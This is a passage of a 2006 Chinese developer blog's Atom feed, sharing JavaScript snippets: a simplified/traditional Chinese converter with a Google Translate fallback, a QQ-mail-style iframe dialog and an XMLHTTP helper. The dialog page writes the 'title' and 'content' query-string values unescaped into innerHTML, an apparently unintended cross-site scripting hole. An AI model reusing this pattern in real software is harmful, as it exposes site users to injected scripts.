		  <summary type="html"><![CDATA[<P>//来源网络上搜到的原作者不详,使用了他的繁简库,修改了自动转换的方式,另加了google的自动翻译,嘿嘿~<BR>//修改:Cxty@msn.com<BR>//修改时间:20060609<BR>//使用方法:&lt;script language="JavaScript" type="text/javascript" src="[目录]/language.js"&gt;&lt;/script&gt;<BR>//复制全部另存为 language.js</P>
<P><BR>document.write('&lt;select name="select_language" id="select_language" class="FontSizeStyle"&gt;&lt;option value="1" selected&gt;简体中文&lt;/option&gt;&lt;option value="2"&gt;繁體中文&lt;/option&gt;&lt;option value="3"&gt;English language&lt;/option&gt;&lt;/select&gt;');<BR>var Default_isFT = 0&nbsp;//默认是否繁体，0-简体，1-繁体<BR>var StranIt_Delay = 50 //翻译延时毫秒（设这个的目的是让网页先流畅的显现出来）</P>
<P>//转换文本<BR>function StranText(txt,toFT,chgTxt)<BR>{<BR>&nbsp;if(txt==""||txt==null)return ""<BR>&nbsp;toFT=toFT==null?BodyIsFt:toFT<BR>&nbsp;if(chgTxt)txt=txt.replace((toFT?"简":"繁"),(toFT?"繁":"简"))<BR>&nbsp;if(toFT){return Traditionalized(txt)}<BR>&nbsp;else {return Simplized(txt)}<BR>}<BR>//转换对象，使用递归，逐层剥到文本<BR>function StranBody(fobj)<BR>{<BR>&nbsp;var this_Page = true;<BR>&nbsp;if(typeof(fobj)=="object"){var obj=fobj.childNodes}<BR>&nbsp;else <BR>&nbsp;{<BR>&nbsp;&nbsp;var tmptxt=select_language_Obj.options[select_language_Obj.selectedIndex].value;<BR>&nbsp;&nbsp;switch(tmptxt){<BR>&nbsp;&nbsp;&nbsp;case '1':<BR>&nbsp;&nbsp;&nbsp;&nbsp;BodyIsFt=0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;this_Page = true;<BR>&nbsp;&nbsp;&nbsp;&nbsp;break;<BR>&nbsp;&nbsp;&nbsp;case '2':<BR>&nbsp;&nbsp;&nbsp;&nbsp;BodyIsFt=1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;this_Page = true;<BR>&nbsp;&nbsp;&nbsp;&nbsp;break;<BR>&nbsp;&nbsp;&nbsp;case '3':<BR>&nbsp;&nbsp;&nbsp;&nbsp;BodyIsFt=2;<BR>&nbsp;&nbsp;&nbsp;&nbsp;this_Page = false;<BR>&nbsp;&nbsp;&nbsp;&nbsp;select_language_Obj.options[0].selected = true;<BR>&nbsp;&nbsp;&nbsp;&nbsp;break;<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;setCookie(JF_cn,BodyIsFt,7);<BR>&nbsp;&nbsp;var obj=document.body.childNodes;<BR>&nbsp;}<BR>&nbsp;if(this_Page){<BR>&nbsp;&nbsp;for(var i=0;i&lt;obj.length;i++)<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;var OO=obj.item(i)<BR>&nbsp;&nbsp;&nbsp;if("||BR|HR|TEXTAREA|".indexOf("|"+OO.tagName+"|")&gt;0||OO==select_language_Obj)continue;<BR>&nbsp;&nbsp;&nbsp;if(OO.title!=""&&OO.title!=null)OO.title=StranText(OO.title);<BR>&nbsp;&nbsp;&nbsp;if(OO.alt!=""&&OO.alt!=null)OO.alt=StranText(OO.alt);<BR>&nbsp;&nbsp;&nbsp;if(OO.tagName=="INPUT"&&OO.value!=""&&OO.type!="text"&&OO.type!="hidden")OO.value=StranText(OO.value);<BR>&nbsp;&nbsp;&nbsp;if(OO.nodeType==3){OO.data=StranText(OO.data)}<BR>&nbsp;&nbsp;&nbsp;else{StranBody(OO);}<BR>&nbsp;&nbsp;}<BR>&nbsp;}else{<BR>&nbsp;&nbsp;window.open('http://translate.google.com/translate?u='+ self.location +'&langpair=zh-CN%7Cen&hl=zh-CN&newwindow=1&ie=UTF-8&oe=UTF-8&prev=%2Flanguage_tools');<BR>&nbsp;}<BR>}<BR>function JTPYStr()<BR>{<BR>&nbsp;return '皑蔼碍爱翱袄奥坝罢摆败颁办绊帮绑镑谤剥饱宝报鲍辈贝钡狈备惫绷笔毕毙闭边编贬变辩辫鳖瘪濒滨宾摈饼拨钵铂驳卜补参蚕残惭惨灿苍舱仓沧厕侧册测层诧搀掺蝉馋谗缠铲产阐颤场尝长偿肠厂畅钞车彻尘陈衬撑称惩诚骋痴迟驰耻齿炽冲虫宠畴踌筹绸丑橱厨锄雏础储触处传疮闯创锤纯绰辞词赐聪葱囱从丛凑窜错达带贷担单郸掸胆惮诞弹当挡党荡档捣岛祷导盗灯邓敌涤递缔点垫电淀钓调迭谍叠钉顶锭订东动栋冻斗犊独读赌镀锻断缎兑队对吨顿钝夺鹅额讹恶饿儿尔饵贰发罚阀珐矾钒烦范贩饭访纺飞废费纷坟奋愤粪丰枫锋风疯冯缝讽凤肤辐抚辅赋复负讣妇缚该钙盖干赶秆赣冈刚钢纲岗皋镐搁鸽阁铬个给龚宫巩贡钩沟构购够蛊顾剐关观馆惯贯广规硅归龟闺轨诡柜贵刽辊滚锅国过骇韩汉阂鹤贺横轰鸿红后壶护沪户哗华画划话怀坏欢环还缓换唤痪焕涣黄谎挥辉毁贿秽会烩汇讳诲绘荤浑伙获货祸击机积饥讥鸡绩缉极辑级挤几蓟剂济计记际继纪夹荚颊贾钾价驾歼监坚笺间艰缄茧检碱硷拣捡简俭减荐槛鉴践贱见键舰剑饯渐溅涧浆蒋桨奖讲酱胶浇骄娇搅铰矫侥脚饺缴绞轿较秸阶节茎惊经颈静镜径痉竞净纠厩旧驹举据锯惧剧鹃绢杰洁结诫届紧锦仅谨进晋烬尽劲荆觉决诀绝钧军骏开凯颗壳课垦恳抠库裤夸块侩宽矿旷况亏岿窥馈溃扩阔蜡腊莱来赖蓝栏拦篮阑兰澜谰揽览懒缆烂滥捞劳涝乐镭垒类泪篱离里鲤礼丽厉励砾历沥隶俩联莲连镰怜涟帘敛脸链恋炼练粮凉两辆谅疗辽镣猎临邻鳞凛赁龄铃凌灵岭领馏刘龙聋咙笼垄拢陇楼娄搂篓芦卢颅庐炉掳卤虏鲁赂禄录陆驴吕铝侣屡缕虑滤绿峦挛孪滦乱抡轮伦仑沦纶论萝罗逻锣箩骡骆络妈玛码蚂马骂吗买麦卖迈脉瞒馒蛮满谩猫锚铆贸么霉没镁门闷们锰梦谜弥觅绵缅庙灭悯闽鸣铭谬谋亩钠纳难挠脑恼闹馁腻撵捻酿鸟聂啮镊镍柠狞宁拧泞钮纽脓浓农疟诺欧鸥殴呕沤盘庞国爱赔喷鹏骗飘频贫苹凭评泼颇扑铺朴谱脐齐骑岂启气弃讫牵扦钎铅迁签谦钱钳潜浅谴堑枪呛墙蔷强抢锹桥乔侨翘窍窃钦亲轻氢倾顷请庆琼穷趋区躯驱龋颧权劝却鹊让饶扰绕热韧认纫荣绒软锐闰润洒萨鳃赛伞丧骚扫涩杀纱筛晒闪陕赡缮伤赏烧绍赊摄慑设绅审婶肾渗声绳胜圣师狮湿诗尸时蚀实识驶势释饰视试寿兽枢输书赎属术树竖数帅双谁税顺说硕烁丝饲耸怂颂讼诵擞苏诉肃虽绥岁孙损笋缩琐锁獭挞抬摊贪瘫滩坛谭谈叹汤烫涛绦腾誊锑题体屉条贴铁厅听烃铜统头图涂团颓蜕脱鸵驮驼椭洼袜弯湾顽万网韦违围为潍维苇伟伪纬谓卫温闻纹稳问瓮挝蜗涡窝呜钨乌诬无芜吴坞雾务误锡牺袭习铣戏细虾辖峡侠狭厦锨鲜纤咸贤衔闲显险现献县馅羡宪线厢镶乡详响项萧销晓啸蝎协挟携胁谐写泻谢锌衅兴汹锈绣虚嘘须许绪续轩悬选癣绚学勋询寻驯训讯逊压鸦鸭哑亚讶阉烟盐严颜阎艳厌砚彦谚验鸯杨扬疡阳痒养样瑶摇尧遥窑谣药爷页业叶医铱颐遗仪彝蚁艺亿忆义诣议谊译异绎荫阴银饮樱婴鹰应缨莹萤营荧蝇颖哟拥佣痈踊咏涌优忧邮铀犹游诱舆鱼渔娱与屿语吁御狱誉预驭鸳渊辕园员圆缘远愿约跃钥岳粤悦阅云郧匀陨运蕴酝晕韵杂灾载攒暂赞赃脏凿枣灶责择则泽贼赠扎札轧铡闸诈斋债毡盏斩辗崭栈战绽张涨帐账胀赵蛰辙锗这贞针侦诊镇阵挣睁狰帧郑证织职执纸挚掷帜质钟终种肿众诌轴皱昼骤猪诸诛烛瞩嘱贮铸筑驻专砖转赚桩庄装妆壮状锥赘坠缀谆浊兹资渍踪综总纵邹诅组钻致钟么为只凶准启板里雳余链泄';<BR>}<BR>function FTPYStr()<BR>{<BR>&nbsp;return '皚藹礙愛翺襖奧壩罷擺敗頒辦絆幫綁鎊謗剝飽寶報鮑輩貝鋇狽備憊繃筆畢斃閉邊編貶變辯辮鼈癟瀕濱賓擯餅撥缽鉑駁蔔補參蠶殘慚慘燦蒼艙倉滄廁側冊測層詫攙摻蟬饞讒纏鏟産闡顫場嘗長償腸廠暢鈔車徹塵陳襯撐稱懲誠騁癡遲馳恥齒熾沖蟲寵疇躊籌綢醜櫥廚鋤雛礎儲觸處傳瘡闖創錘純綽辭詞賜聰蔥囪從叢湊竄錯達帶貸擔單鄲撣膽憚誕彈當擋黨蕩檔搗島禱導盜燈鄧敵滌遞締點墊電澱釣調叠諜疊釘頂錠訂東動棟凍鬥犢獨讀賭鍍鍛斷緞兌隊對噸頓鈍奪鵝額訛惡餓兒爾餌貳發罰閥琺礬釩煩範販飯訪紡飛廢費紛墳奮憤糞豐楓鋒風瘋馮縫諷鳳膚輻撫輔賦複負訃婦縛該鈣蓋幹趕稈贛岡剛鋼綱崗臯鎬擱鴿閣鉻個給龔宮鞏貢鈎溝構購夠蠱顧剮關觀館慣貫廣規矽歸龜閨軌詭櫃貴劊輥滾鍋國過駭韓漢閡鶴賀橫轟鴻紅後壺護滬戶嘩華畫劃話懷壞歡環還緩換喚瘓煥渙黃謊揮輝毀賄穢會燴彙諱誨繪葷渾夥獲貨禍擊機積饑譏雞績緝極輯級擠幾薊劑濟計記際繼紀夾莢頰賈鉀價駕殲監堅箋間艱緘繭檢堿鹼揀撿簡儉減薦檻鑒踐賤見鍵艦劍餞漸濺澗漿蔣槳獎講醬膠澆驕嬌攪鉸矯僥腳餃繳絞轎較稭階節莖驚經頸靜鏡徑痙競淨糾廄舊駒舉據鋸懼劇鵑絹傑潔結誡屆緊錦僅謹進晉燼盡勁荊覺決訣絕鈞軍駿開凱顆殼課墾懇摳庫褲誇塊儈寬礦曠況虧巋窺饋潰擴闊蠟臘萊來賴藍欄攔籃闌蘭瀾讕攬覽懶纜爛濫撈勞澇樂鐳壘類淚籬離裏鯉禮麗厲勵礫曆瀝隸倆聯蓮連鐮憐漣簾斂臉鏈戀煉練糧涼兩輛諒療遼鐐獵臨鄰鱗凜賃齡鈴淩靈嶺領餾劉龍聾嚨籠壟攏隴樓婁摟簍蘆盧顱廬爐擄鹵虜魯賂祿錄陸驢呂鋁侶屢縷慮濾綠巒攣孿灤亂掄輪倫侖淪綸論蘿羅邏鑼籮騾駱絡媽瑪碼螞馬罵嗎買麥賣邁脈瞞饅蠻滿謾貓錨鉚貿麽黴沒鎂門悶們錳夢謎彌覓綿緬廟滅憫閩鳴銘謬謀畝鈉納難撓腦惱鬧餒膩攆撚釀鳥聶齧鑷鎳檸獰甯擰濘鈕紐膿濃農瘧諾歐鷗毆嘔漚盤龐國愛賠噴鵬騙飄頻貧蘋憑評潑頗撲鋪樸譜臍齊騎豈啓氣棄訖牽扡釺鉛遷簽謙錢鉗潛淺譴塹槍嗆牆薔強搶鍬橋喬僑翹竅竊欽親輕氫傾頃請慶瓊窮趨區軀驅齲顴權勸卻鵲讓饒擾繞熱韌認紉榮絨軟銳閏潤灑薩鰓賽傘喪騷掃澀殺紗篩曬閃陝贍繕傷賞燒紹賒攝懾設紳審嬸腎滲聲繩勝聖師獅濕詩屍時蝕實識駛勢釋飾視試壽獸樞輸書贖屬術樹豎數帥雙誰稅順說碩爍絲飼聳慫頌訟誦擻蘇訴肅雖綏歲孫損筍縮瑣鎖獺撻擡攤貪癱灘壇譚談歎湯燙濤縧騰謄銻題體屜條貼鐵廳聽烴銅統頭圖塗團頹蛻脫鴕馱駝橢窪襪彎灣頑萬網韋違圍爲濰維葦偉僞緯謂衛溫聞紋穩問甕撾蝸渦窩嗚鎢烏誣無蕪吳塢霧務誤錫犧襲習銑戲細蝦轄峽俠狹廈鍁鮮纖鹹賢銜閑顯險現獻縣餡羨憲線廂鑲鄉詳響項蕭銷曉嘯蠍協挾攜脅諧寫瀉謝鋅釁興洶鏽繡虛噓須許緒續軒懸選癬絢學勳詢尋馴訓訊遜壓鴉鴨啞亞訝閹煙鹽嚴顔閻豔厭硯彥諺驗鴦楊揚瘍陽癢養樣瑤搖堯遙窯謠藥爺頁業葉醫銥頤遺儀彜蟻藝億憶義詣議誼譯異繹蔭陰銀飲櫻嬰鷹應纓瑩螢營熒蠅穎喲擁傭癰踴詠湧優憂郵鈾猶遊誘輿魚漁娛與嶼語籲禦獄譽預馭鴛淵轅園員圓緣遠願約躍鑰嶽粵悅閱雲鄖勻隕運蘊醞暈韻雜災載攢暫贊贓髒鑿棗竈責擇則澤賊贈紮劄軋鍘閘詐齋債氈盞斬輾嶄棧戰綻張漲帳賬脹趙蟄轍鍺這貞針偵診鎮陣掙睜猙幀鄭證織職執紙摯擲幟質鍾終種腫衆謅軸皺晝驟豬諸誅燭矚囑貯鑄築駐專磚轉賺樁莊裝妝壯狀錐贅墜綴諄濁茲資漬蹤綜總縱鄒詛組鑽緻鐘麼為隻兇準啟闆裡靂餘鍊洩';<BR>}<BR>function Traditionalized(cc){<BR>&nbsp;var str='',ss=JTPYStr(),tt=FTPYStr();<BR>&nbsp;for(var i=0;i&lt;cc.length;i++)<BR>&nbsp;{<BR>&nbsp;&nbsp;if(cc.charCodeAt(i)&gt;10000&&ss.indexOf(cc.charAt(i))!=-1)str+=tt.charAt(ss.indexOf(cc.charAt(i)));<BR>&nbsp; &nbsp;&nbsp;else str+=cc.charAt(i);<BR>&nbsp;}<BR>&nbsp;return str;<BR>}<BR>function Simplized(cc){<BR>&nbsp;var str='',ss=JTPYStr(),tt=FTPYStr();<BR>&nbsp;for(var i=0;i&lt;cc.length;i++)<BR>&nbsp;{<BR>&nbsp;&nbsp;if(cc.charCodeAt(i)&gt;10000&&tt.indexOf(cc.charAt(i))!=-1)str+=ss.charAt(tt.indexOf(cc.charAt(i)));<BR>&nbsp; &nbsp;&nbsp;else str+=cc.charAt(i);<BR>&nbsp;}<BR>&nbsp;return str;<BR>}</P>
<P>function setCookie(name, value)&nbsp;&nbsp;//cookies设置<BR>{<BR>&nbsp;var argv = setCookie.arguments;<BR>&nbsp;var argc = setCookie.arguments.length;<BR>&nbsp;var expires = (argc &gt; 2) ? argv[2] : null;<BR>&nbsp;if(expires!=null)<BR>&nbsp;{<BR>&nbsp;&nbsp;var LargeExpDate = new Date ();<BR>&nbsp;&nbsp;LargeExpDate.setTime(LargeExpDate.getTime() + (expires*1000*3600*24));<BR>&nbsp;}<BR>&nbsp;document.cookie = name + "=" + escape (value)+((expires == null) ? "" : ("; expires=" +LargeExpDate.toGMTString()));<BR>}</P>
<P>function getCookie(Name)&nbsp;&nbsp;&nbsp;//cookies读取<BR>{<BR>&nbsp;var search = Name + "="<BR>&nbsp;if(document.cookie.length &gt; 0) <BR>&nbsp;{<BR>&nbsp;&nbsp;offset = document.cookie.indexOf(search)<BR>&nbsp;&nbsp;if(offset != -1) <BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;offset += search.length<BR>&nbsp;&nbsp;&nbsp;end = document.cookie.indexOf(";", offset)<BR>&nbsp;&nbsp;&nbsp;if(end == -1) end = document.cookie.length<BR>&nbsp;&nbsp;&nbsp;return unescape(document.cookie.substring(offset, end))<BR>&nbsp;&nbsp; }<BR>&nbsp;else return ""<BR>&nbsp;&nbsp; }<BR>}<BR>var select_language_Obj = document.getElementById("select_language");<BR>if(select_language_Obj){<BR>&nbsp;var JF_cn="ft"+self.location.hostname.toString().replace(/\./g,"");<BR>&nbsp;var BodyIsFt=getCookie(JF_cn);<BR>&nbsp;if(BodyIsFt!="1")BodyIsFt=Default_isFT;<BR>&nbsp;with(select_language_Obj)<BR>&nbsp;{<BR>&nbsp;&nbsp;onchange = new Function("StranBody();return false");<BR>&nbsp;&nbsp;options[0].selected = true;<BR>&nbsp;}<BR>&nbsp;if(BodyIsFt=="1"){setTimeout("StranBody()",StranIt_Delay)}<BR>}</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=290" /> 
	  <id>http://www.openx.cn/default.asp?id=290</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[新建了栏目]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=8" label="TalkMe" /> 
	  <updated>2006-06-06T15:15:42+08:00</updated>
	  <published>2006-06-06T15:15:42+08:00</published>
		  <summary type="html"><![CDATA[<P>本来想直接修改WEB Talk栏目名称的，但考虑一下感觉部落格不来就是一个用来记录事情的空间，修改原来的东西不等于修改历史嘛～哈哈～</P>
<P>所以还是新建了个栏目</P>
<P>TlakMe 以后将不会在更新 WEB Talk栏目中的内容～呵呵～</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=289" /> 
	  <id>http://www.openx.cn/default.asp?id=289</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[发一个自己仿制 QQ mail 的对话框]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-06-05T15:56:49+08:00</updated>
	  <published>2006-06-05T15:56:49+08:00</published>
		  <summary type="html"><![CDATA[<P>function ShowMessage(title,content,Action){//显示一个提示框<BR>&nbsp;var Box_URL = '/js/MSG_Box.htm';<BR>&nbsp;Box_URL +='?title='+ title +'&content='+ content +'&ac='+ Action + '&Code='+ReRanCode();<BR>&nbsp;var Box_HTML = '&lt;IFRAME id=MSG_Box style="Z-INDEX: 1999; LEFT: 26%; MARGIN: 0px auto; WIDTH: 400px; POSITION: absolute; TOP: 25%; HEIGHT: 205px; TEXT-ALIGN: center" name=MSG_Box marginWidth=0 marginHeight=0 src="'+ Box_URL +'" frameBorder=0 scrolling=no&gt;&lt;/IFRAME&gt;';<BR>&nbsp;try{<BR>&nbsp;&nbsp;if(document.getElementById('MSG_Box')){<BR>&nbsp;&nbsp;&nbsp;document.getElementById('MSG_Box').src = Box_URL;//+'?title='+ title +'&content='+ content +'&Action='+ Action;<BR>&nbsp;&nbsp;&nbsp;document.getElementById('MSG_Box').style.visibility = "visible";<BR>&nbsp;&nbsp;&nbsp;Show_Page_M_Box();<BR>&nbsp;&nbsp;&nbsp;return true;<BR>&nbsp;&nbsp;}else{<BR>&nbsp;&nbsp;&nbsp;document.body.innerHTML += Box_HTML;<BR>&nbsp;&nbsp;&nbsp;ShowMessage(title,content,Action);<BR>&nbsp;&nbsp;}<BR>&nbsp;}catch(e){<BR>&nbsp;&nbsp;document.body.innerHTML += Box_HTML;<BR>&nbsp;&nbsp;ShowMessage(title,content,Action);<BR>&nbsp;}<BR>}<BR>function HitMessageBox(){//隐藏对话框<BR>&nbsp;try{<BR>&nbsp;&nbsp;if(document.getElementById('MSG_Box')){<BR>&nbsp;&nbsp;&nbsp;document.getElementById('MSG_Box').src = 'about:blank';<BR>&nbsp;&nbsp;&nbsp;document.getElementById('MSG_Box').style.visibility = "hidden";<BR>&nbsp;&nbsp;&nbsp;Hit_Page_M_Box();<BR>&nbsp;&nbsp;}<BR>&nbsp;}catch(e){<BR>&nbsp;}<BR>}<BR>function HitMessage(){//延迟隐藏对话框<BR>&nbsp;window.setTimeout('HitMessageBox()',1500);<BR>}<BR>function Show_Page_M_Box(){//显示一个隐形层,用于屏蔽用户操作<BR>&nbsp;var M_Box_HTML = '&lt;div id="Page_M_Box" style="position:absolute;top:0px;left:0px;width:100%;height:100%;Z-INDEX:1998"&gt;&lt;img src="/Image/space.gif" width="100%" height="100%" /&gt;&lt;/div&gt;';<BR>&nbsp;try{<BR>&nbsp;&nbsp;if(document.getElementById('Page_M_Box')){<BR>&nbsp;&nbsp;&nbsp;document.getElementById('Page_M_Box').style.width = document.body.clientWidth + document.body.scrollLeft;<BR>&nbsp;&nbsp;&nbsp;document.getElementById('Page_M_Box').style.height = document.body.clientHeight + document.body.scrollTop;<BR>&nbsp;&nbsp;&nbsp;document.getElementById('Page_M_Box').style.visibility = "visible";<BR>&nbsp;&nbsp;&nbsp;return true;<BR>&nbsp;&nbsp;}else{<BR>&nbsp;&nbsp;&nbsp;document.body.innerHTML += M_Box_HTML;<BR>&nbsp;&nbsp;&nbsp;Show_Page_M_Box();<BR>&nbsp;&nbsp;}<BR>&nbsp;}catch(e){<BR>&nbsp;&nbsp;document.body.innerHTML += M_Box_HTML;<BR>&nbsp;&nbsp;Show_Page_M_Box();<BR>&nbsp;}<BR>}<BR>function Hit_Page_M_Box(){//隐藏隐形层,允许用户操作<BR>&nbsp;try{<BR>&nbsp;&nbsp;if(document.getElementById('Page_M_Box')){<BR>&nbsp;&nbsp;&nbsp;document.getElementById('Page_M_Box').style.visibility = "hidden";<BR>&nbsp;&nbsp;&nbsp;return true;<BR>&nbsp;&nbsp;}<BR>&nbsp;}catch(e){</P>
<P>&nbsp;}<BR>}</P>
<P>&nbsp;</P>
<P>//MSG_Box.htm部分</P>
<P>&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "<a href="http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd</A>"&gt;<BR>&lt;html xmlns="<A href="http://www.w3.org/1999/xhtml">http://www.w3.org/1999/xhtml</A>"&gt;<BR>&lt;head&gt;<BR>&lt;meta http-equiv="Content-Type" content="text/html; charset=utf-8" /&gt;<BR>&lt;META HTTP-EQUIV="Pragma" CONTENT="no-cache"&gt;<BR>&lt;META HTTP-EQUIV="Cache-Control" CONTENT="no-cache"&gt;<BR>&lt;META HTTP-EQUIV="Expires" CONTENT="0"&gt;<BR>&lt;link href="http://www.openx.cn/../css/msgBox.css" rel="stylesheet" type="text/css" /&gt;<BR>&lt;title&gt;MSGBox&lt;/title&gt;<BR>&lt;style type="text/css"&gt;<BR>&lt;!--<BR>body {<BR>&nbsp;margin-left: 0px;<BR>&nbsp;margin-top: 0px;<BR>&nbsp;margin-right: 0px;<BR>&nbsp;margin-bottom: 0px;<BR>}<BR>--&gt;<BR>&lt;/style&gt;<BR>&lt;/head&gt;</P>
<P>&lt;body oncontextmenu='return false' onselectstart='return false'&gt;<BR>&lt;div id="MsgBox" style="margin:0 auto;text-align:center;position:absolute;"&gt;<BR>&lt;div class="bar"&gt;<BR>&lt;div class="info" id="MBInfo"&gt;&lt;/div&gt;<BR>&lt;/div&gt;<BR>&lt;div class="content"&gt;<BR>&lt;div class="txt"&gt;<BR>&lt;span style="background:url(/image/icon_big_info.gif) no-repeat left;"&gt;<BR>&lt;img src="/image/icon_big_alarm.gif" width="64" height="52" align="absmiddle" id="MBIcon" style="display:none"&gt;<BR>&lt;/span&gt;<BR>&lt;span id="MBTxt"&gt;<BR>&lt;/span&gt;<BR>&lt;div class="btnlist" id="MBButton"&gt;<BR>&lt;input type="button" value="确&nbsp;定" class="input_set"&nbsp; id="MBButton1" onclick="top.HitMessage();" /&gt;<BR>&lt;/div&gt;<BR>&lt;/div&gt;<BR>&lt;/div&gt;<BR>&lt;/div&gt;<BR>&lt;script language="javascript" type="text/javascript"&gt;<BR>var Title = GetQueryString('title');<BR>var Content = GetQueryString('content');<BR>var Action = GetQueryString('ac');<BR>switch(Action){<BR>&nbsp;case '1':<BR>&nbsp;&nbsp;document.getElementById('MBTxt').innerHTML = '&lt;img src="/image/load.gif" align="absmiddle"&gt; ';<BR>&nbsp;&nbsp;document.getElementById('MBButton').innerHTML = '';<BR>&nbsp;break;<BR>&nbsp;case '2':<BR>&nbsp;&nbsp;document.getElementById('MBTxt').innerHTML = '&lt;img src="/image/icon_big_alarm.gif" align="absmiddle"&gt; ';<BR>&nbsp;break;<BR>&nbsp;case '3':<BR>&nbsp;&nbsp;document.getElementById('MBTxt').innerHTML = '&lt;img src="/image/icon_big_stop.gif" align="absmiddle"&gt; ';<BR>&nbsp;break;<BR>&nbsp;case '4':<BR>&nbsp;&nbsp;document.getElementById('MBTxt').innerHTML = '&lt;img src="/image/icon_big_info.gif" align="absmiddle"&gt; ';<BR>&nbsp;break;<BR>&nbsp;case '5':<BR>&nbsp;&nbsp;document.getElementById('MBTxt').innerHTML = '&lt;img src="/image/load.gif" align="absmiddle"&gt; ';<BR>&nbsp;&nbsp;document.getElementById('MBButton').innerHTML = '';<BR>&nbsp;break;<BR>&nbsp;case '6':<BR>&nbsp;&nbsp;document.getElementById('MBTxt').innerHTML = '&lt;img src="/image/icon_big_stop.gif" align="absmiddle"&gt; ';<BR>&nbsp;&nbsp;document.getElementById('MBButton').innerHTML = '&lt;input type="button" value="确&nbsp;定" class="input_set"&nbsp; id="MBButton1" onclick="top.alert();" /&gt;';<BR>document.getElementById('MBButton').innerHTML = '&lt;input type="button" value="取&nbsp;消" class="input_set"&nbsp; id="MBButton2" onclick="top.HitMessage();" /&gt;';<BR>&nbsp;break;<BR>}<BR>document.getElementById('MBInfo').innerHTML = Title;<BR>document.getElementById('MBTxt').innerHTML += Content;<BR>&lt;/script&gt;<BR>&lt;/body&gt;<BR>&lt;/html&gt;</P>
<P>图片跟CSS下载 <A href="http://www.openx.cn/attachments/month0606/c02f_msgBox.rar">http://www.openx.cn/attachments/month0606/c02f_msgBox.rar</A></P>
<P>显示方法:ShowMessage(标题,内容,动作);</P>
<P>隐藏方法:HitMessage();</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=288" /> 
	  <id>http://www.openx.cn/default.asp?id=288</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[发一个整合的 XMLHTTP 可以很好的支持 IE FF OP浏览器]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-06-05T15:34:52+08:00</updated>
	  <published>2006-06-05T15:34:52+08:00</published>
		  <summary type="html"><![CDATA[<P>function Cxty_XMLHTTP(){<BR>&nbsp;if (window.XMLHttpRequest)<BR>&nbsp;{<BR>&nbsp;&nbsp;var objXMLHttp = new XMLHttpRequest();<BR>&nbsp;}<BR>&nbsp;else<BR>&nbsp;{<BR>&nbsp;&nbsp;var MSXML = ['MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP'];<BR>&nbsp;&nbsp;for(var n = 0; n &lt; MSXML.length; n ++)<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;try<BR>&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;var objXMLHttp = new ActiveXObject(MSXML[n]);<BR>&nbsp;&nbsp;&nbsp;&nbsp;break;<BR>&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;catch(e)<BR>&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;}<BR>&nbsp; }&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;// mozilla某些版本没有readyState属性<BR>&nbsp;if (objXMLHttp.readyState == null)<BR>&nbsp;{<BR>&nbsp;&nbsp;objXMLHttp.readyState = 0;<BR>&nbsp;&nbsp;objXMLHttp.addEventListener("load", function ()<BR>&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;objXMLHttp.readyState = 4;<BR>&nbsp;&nbsp;&nbsp;&nbsp;if (typeof objXMLHttp.onreadystatechange == "function")<BR>&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;objXMLHttp.onreadystatechange();<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;},&nbsp; false);<BR>&nbsp;}<BR>&nbsp;return objXMLHttp;<BR>}</P>
<P>function Ajax_Send(URL,vStr,method,callback){<BR>&nbsp;var Send_T = null;<BR>&nbsp;var req = new Cxty_XMLHTTP();<BR>&nbsp;if(req){<BR>&nbsp;&nbsp;try {<BR>&nbsp;&nbsp;&nbsp;if(method == 'GET'){<BR>&nbsp;&nbsp;&nbsp;&nbsp;req.open('GET', URL, true);<BR>&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;if(method == 'POST'){<BR>&nbsp;&nbsp;&nbsp;&nbsp;req.open('POST', URL, true);<BR>&nbsp;&nbsp;&nbsp;&nbsp;req.setRequestHeader('Content-Type','text/xml; charset=utf-8');<BR>&nbsp;&nbsp;&nbsp;&nbsp;Send_T = vStr;<BR>&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;}catch(e){<BR>&nbsp;&nbsp;&nbsp;return false;<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;req.onreadystatechange = function() {<BR>&nbsp;&nbsp;&nbsp;if (req.readyState == 4) 